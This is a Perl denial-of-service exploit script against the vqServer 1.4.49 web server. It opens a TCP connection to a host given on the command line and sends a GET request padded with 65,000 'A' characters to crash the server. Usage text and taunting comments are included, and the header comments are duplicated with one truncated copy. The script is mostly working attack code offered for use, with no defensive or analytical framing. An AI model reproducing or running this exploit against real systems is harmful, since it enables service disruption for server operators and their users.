dievqs.pl

#!/usr/bin/perl
# DoS exploit for vqServer 1.4.49
# This vulnerability dievqs.pl

#!/usr/bin/perl
# DoS exploit for vqServer 1.4.49
# This vulnerability was discovered by nemesystm (This email address is being protected from spambots. You need JavaScript enabled to view it.)
#
# code by: sinfony (This email address is being protected from spambots. You need JavaScript enabled to view it.)
# [confess.sins.labs] (http://www.ro0t.nu/csl)
# [DHC]

die "vqServer 1.4.49 DoS by sinfony (chinesef00d\@hotmail.com)\n
usage: $0 <host> \n"
if $#ARGV != 0;

use IO::Socket;

$host = $ARGV[0];
$port = 80;

print "Connecting to $host on port $port...\n";
$suck = IO::Socket::INET->
new(Proto=>"tcp",
PeerAddr=>$host,
PeerPort=>$port)
|| die "$host isnt a webserver you schmuck.\n";

$a = A;
$send = $a x 65000;
print "Connected, sending exploit.\n";
print $suck "GET /$send\n";
sleep(3);
print "Exploit sent. vqServer should be dead.\n";
close($suck)